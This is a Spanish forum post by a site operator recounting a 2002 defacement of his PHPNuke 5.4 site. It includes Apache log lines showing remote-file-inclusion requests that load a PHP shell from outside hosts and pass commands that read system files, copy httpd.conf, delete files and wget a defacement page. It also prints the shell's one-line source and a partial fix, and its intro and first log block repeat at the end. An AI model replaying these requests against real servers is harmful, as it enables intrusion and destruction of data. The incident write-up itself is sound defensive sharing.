#1 Vulnerabilidad en PHPNuke 5.4 - Breve historia de un hackeo
Amigos de psico:
recientemente uno de los sites que hosteo ha sido victima de un hackeo, yo se que en general las victimas de hackeo no lo cuentan, pero bue, tengo ganas de compartir mi aprendizaje:
el site en cuestión es http://redlibre.sin-ip.com.ar
17:48
Recibo un mail de Albo:
Priority: Urgent
Importance: high
From: "Albinati, Luis Martin"
che , hackearon la pagina de redlibre unos brazucas, fijate la home!
18:20
Entro y veo que colgaron esto:
http://redlibre.sin-ip.com.ar/hack.htm (antes estaba como index.html)
Entonces reviso y veo que los permisos del directorio /home/redlibre/www están en 777, reviso un poco los logs a ver si encuentro algo, veo que el index.html ha sido copiado sobre el index.php tambien usando algun bug del PHPNuke.
Tambien habían sido modificados otros archivos, como el auth.inc.php.
Reemplazo los archivos por los de la maquina de desarrollo (un linux en mi casa), y pongo los permisos de todos los directorios y archivos en 755.
Revisando los logs apareció esto:
apache.log.1018483200:203.112.65.56 - - [11/Apr/2002:11:37:38 -0300] "GET /admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t HTTP/1.0" 200 17853 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:40 -0300] "GET /themes/NukeNews/style/style.css HTTP/1.0" 200 2791 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:42 -0300] "GET /themes/NukeNews/images/corner-top-left.gif HTTP/1.0" 200 111 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:43 -0300] "GET /images/splatt_forum/subject/icon33.gif HTTP/1.0" 200 174 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:45 -0300] "GET /images/splatt_forum/subject/icon32.gif HTTP/1.0" 200 1214 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:45 -0300] "GET /themes/NukeNews/images/logo.gif HTTP/1.0" 200 778 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:45 -0300] "GET /themes/NukeNews/images/pixel.gif HTTP/1.0" 200 43 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:45 -0300] "GET /themes/NukeNews/images/corner-top-right.gif HTTP/1.0" 200 111 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:46 -0300] "GET /images/splatt_forum/subject/icon3.gif HTTP/1.0" 200 1214 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:46 -0300] "GET /images/splatt_forum/subject/icon4.gif HTTP/1.0" 200 192 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:46 -0300] "GET /images/splatt_forum/subject/icon5.gif HTTP/1.0" 200 207 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:46 -0300] "GET /images/splatt_forum/subject/icon14.gif HTTP/1.0" 200 1214 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:47 -0300] "GET /modules/My_Weather/images/orig/18.gif HTTP/1.0" 200 1267 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:47 -0300] "GET /themes/NukeNews/images/corner-bottom-left.gif HTTP/1.0" 200 110 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:47 -0300] "GET /themes/NukeNews/images/corner-bottom-right.gif HTTP/1.0" 200 111 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:48 -0300] "GET /images/powered/nuke.gif HTTP/1.0" 200 1257 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:49 -0300] "GET /images/powered/apache.gif HTTP/1.0" 200 1806 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:49 -0300] "GET /images/powered/php2.gif HTTP/1.0" 200 1160 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:49 -0300] "GET /images/powered/mysql-125.gif HTTP/1.0" 200 2310 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:50 -0300] "GET /images/powered/redhat.gif HTTP/1.0" 200 1001 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:05:56 -0300] "GET /admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt HTTP/1.0" 200 17853 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:05:59 -0300] "GET /themes/NukeNews/style/style.css HTTP/1.0" 200 2791 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:05:59 -0300] "GET /themes/NukeNews/images/corner-top-left.gif HTTP/1.0" 200 111 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:05:59 -0300] "GET /themes/NukeNews/images/logo.gif HTTP/1.0" 200 778 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:03 -0300] "GET /index.php?file=http://www.positivepower.co.uk/usdl.gif&cmd=ls HTTP/1.0" 200 17189 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:07 -0300] "GET /themes/NukeNews/images/corner-top-right.gif HTTP/1.0" 200 111 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:10 -0300] "GET /themes/NukeNews/images/pixel.gif HTTP/1.0" 200 43 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:10 -0300] "GET /images/splatt_forum/subject/icon5.gif HTTP/1.0" 200 207 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:11 -0300] "GET /images/splatt_forum/subject/icon33.gif HTTP/1.0" 200 174 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:11 -0300] "GET /images/splatt_forum/subject/icon32.gif HTTP/1.0" 200 1214 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:12 -0300] "GET /images/splatt_forum/subject/icon3.gif HTTP/1.0" 200 1214 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:13 -0300] "GET /images/splatt_forum/subject/icon4.gif HTTP/1.0" 200 192 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:14 -0300] "GET /images/splatt_forum/subject/icon14.gif HTTP/1.0" 200 1214 "http://redlibre.sin-ip.com.ar/admin.php?upload=1&file=config.php&file_name=examp le.txt&wdir=/&userfile=config.php&userfile_name=example.txt" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:24 -0300] "GET /images/splatt_forum/subject/icon14.gif HTTP/1.0" 200 1214 "http://redlibre.sin-ip.com.ar/index.php?file=http://www.positivepower.co.uk/usdl.gif&cmd=ls" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:06:25 -0300] "GET /modules/My_Weather/images/orig/18.gif HTTP/1.0" 200 1267 "http://redlibre.sin-ip.com.ar/index.php?file=http://www.positivepower.co.uk/usdl.gif&cmd=ls" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:20:35 -0300] "GET /banners.php HTTP/1.0" 200 0 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:22:50 -0300] "GET /index.php?file=http://www.positivepower.co.uk/usdl.gif&cmd=ls HTTP/1.0" 200 16369 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:22:59 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20banners.php;ls;uname HTTP/1.0" 200 16671 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:23:49 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20banners.php;ls;uname HTTP/1.0" 200 16671 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:23:52 -0300] "GET /index.php?file=http://www.positivepower.co.uk/usdl.gif&cmd=ls HTTP/1.0" 200 16369 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:23:58 -0300] "GET /index.php?file=http://www.positivepower.co.uk/usdl.gif&cmd=ls HTTP/1.0" 200 16369 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:32:26 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20banners.php;ls;uname HTTP/1.0" 200 17491 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:32:27 -0300] "GET /modules/My_Weather/images/orig/18n.gif HTTP/1.0" 200 1495 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20banners.php;ls;uname" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:32:28 -0300] "GET /themes/NukeNews/images/corner-bottom-left.gif HTTP/1.0" 200 110 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20banners.php;ls;uname" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:32:28 -0300] "GET /themes/NukeNews/images/corner-bottom-right.gif HTTP/1.0" 200 111 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20banners.php;ls;uname" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:32:30 -0300] "GET /images/powered/php2.gif HTTP/1.0" 200 1160 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20banners.php;ls;uname" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:16:34:52 -0300] "GET /index.php?file=http://www.positivepower.co.uk/usdl.gif&cmd=ls HTTP/1.0" 200 16369 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:01:44 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=id;uname%20-a;uptime;cat%20/etc/issue;pwd;locate%20httpd.conf HTTP/1.0" 200 17475 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:01:49 -0300] "GET /images/powered/nuke.gif HTTP/1.0" 200 1257 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=id;uname%20-a;uptime;cat%20/etc/issue;pwd;locate%20httpd.conf" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:01:49 -0300] "GET /images/powered/php2.gif HTTP/1.0" 200 1160 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=id;uname%20-a;uptime;cat%20/etc/issue;pwd;locate%20httpd.conf" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:01:50 -0300] "GET /images/powered/apache.gif HTTP/1.0" 200 1806 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=id;uname%20-a;uptime;cat%20/etc/issue;pwd;locate%20httpd.conf" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:01:50 -0300] "GET /images/powered/mysql-125.gif HTTP/1.0" 200 2310 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=id;uname%20-a;uptime;cat%20/etc/issue;pwd;locate%20httpd.conf" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:01:52 -0300] "GET /images/powered/redhat.gif HTTP/1.0" 200 1001 "http://redlibre.sin-ip.com.ar/index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=id;uname%20-a;uptime;cat%20/etc/issue;pwd;locate%20httpd.conf" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:02:04 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=cp%20/etc/httpd/conf/httpd.conf%20usdl HTTP/1.0" 200 16961 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:02:13 -0300] "GET /usdl HTTP/1.0" 200 53973 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:04:56 -0300] "GET / HTTP/1.0" 200 38357 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:05:03 -0300] "GET /images/topics/redlibre.gif HTTP/1.0" 200 211 "http://redlibre.sin-ip.com.ar/" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:05:04 -0300] "GET /images/powered/phpnuke.gif HTTP/1.0" 200 2379 "http://redlibre.sin-ip.com.ar/" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:05:05 -0300] "GET /images/html401.gif HTTP/1.0" 200 2347 "http://redlibre.sin-ip.com.ar/" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:06:49 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=cp%20/etc/httpd/conf/httpd.conf%20usdl HTTP/1.0" 200 16961 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:07:41 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20usdl;ls%20/home/seekergps/www HTTP/1.0" 200 19476 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:08:30 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=rm%20/home/seekergps/www/*.*;ls%20/home/seekergps/www HTTP/1.0" 200 17036 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:09:34 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=wget%20www.elcacerolazo.org/index.htm;cp%20index.htm%20/home/seekergps/www/index.html HTTP/1.0" 200 16961 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:10:08 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=ls%20/home/seekergps/www/ HTTP/1.0" 200 17047 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:11:54 -0300] "GET /index.php?file=http://www11.brinkster.com/planethacker/usdl.gif&cmd=cp%20index.php%20auth.inc.php;cp%20in dex.htm%20index.php HTTP/1.0" 200 16961 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
apache.log.1018483200:217.34.195.188 - - [11/Apr/2002:17:11:57 -0300] "GET / HTTP/1.0" 200 1329 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)"
Revisando el http://www11.brinkster.com/planethacker/usdl.gif , veo que es un phpcon lo siguiente:
<?php
system($cmd);
?>
Eso quiere decir que puede ejecutar cualquier comando del sistema pasando como parametro cmd...
Entonces agregué en el index.php lo siguiente:
$file7 = substr($file,0,7);
$file6 = substr($file,0,6);
if (.... OR ($file7=="http://") OR ($file6=="
ftp://") )) {
De esa manera chequea antes de ejecutar un archivo externo, no se si resta funcionalidad en algo.
Ahí están la IP y todo lo que hicieron, por si les interesa.
Moraleja: nunca dejen que el usuario apache modifique directorios ni archivos, saquenle los permisos, a menos que puedan controlar exactamente lo que se hace en ese directorio.
Tambien es cierto que hay un error del PHPNuke, pero asumo la responsabilidad.
Cualquier sugerencia o comentario bienvenidos sean.
Salu2
recientemente uno de los sites que hosteo ha sido victima de un hackeo, yo se que en general las victimas de hackeo no lo cuentan, pero bue, tengo ganas de compartir mi aprendizaje:
el site en cuestión es http://redlibre.sin-ip.com.ar
17:48
Recibo un mail de Albo:
Priority: Urgent
Importance: high
From: "Albinati, Luis Martin"
che , hackearon la pagina de redlibre unos brazucas, fijate la home!
18:20
Entro y veo que colgaron esto:
http://redlibre.sin-ip.com.ar/hack.htm (antes estaba como index.html)
Entonces reviso y veo que los permisos del directorio /home/redlibre/www están en 777, reviso un poco los logs a ver si encuentro algo, veo que el index.html ha sido copiado sobre el index.php tambien usando algun bug del PHPNuke.
Tambien habían sido modificados otros archivos, como el auth.inc.php.
Reemplazo los archivos por los de la maquina de desarrollo (un linux en mi casa), y pongo los permisos de todos los directorios y archivos en 755.
Revisando los logs apareció esto:
apache.log.1018483200:203.112.65.56 - - [11/Apr/2002:11:37:38 -0300] "GET /admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t HTTP/1.0" 200 17853 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:40 -0300] "GET /themes/NukeNews/style/style.css HTTP/1.0" 200 2791 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:42 -0300] "GET /themes/NukeNews/images/corner-top-left.gif HTTP/1.0" 200 111 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:43 -0300] "GET /images/splatt_forum/subject/icon33.gif HTTP/1.0" 200 174 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:45 -0300] "GET /images/splatt_forum/subject/icon32.gif HTTP/1.0" 200 1214 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:45 -0300] "GET /themes/NukeNews/images/logo.gif HTTP/1.0" 200 778 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:45 -0300] "GET /themes/NukeNews/images/pixel.gif HTTP/1.0" 200 43 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:45 -0300] "GET /themes/NukeNews/images/corner-top-right.gif HTTP/1.0" 200 111 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:46 -0300] "GET /images/splatt_forum/subject/icon3.gif HTTP/1.0" 200 1214 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:46 -0300] "GET /images/splatt_forum/subject/icon4.gif HTTP/1.0" 200 192 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:46 -0300] "GET /images/splatt_forum/subject/icon5.gif HTTP/1.0" 200 207 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:46 -0300] "GET /images/splatt_forum/subject/icon14.gif HTTP/1.0" 200 1214 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:47 -0300] "GET /modules/My_Weather/images/orig/18.gif HTTP/1.0" 200 1267 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
apache.log.1018483200:203.112.65.55 - - [11/Apr/2002:11:37:47 -0300] "GET /themes/NukeNews/images/corner-bottom-left.gif HTTP/1.0" 200 110 "http://redlibre.sin-ip.com.ar/admin.php?upload=1%20&file=config.php&file_name=ha cked.txt&wdir=/&userfile=config.php%20&userfile_name=hacked.tx t" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
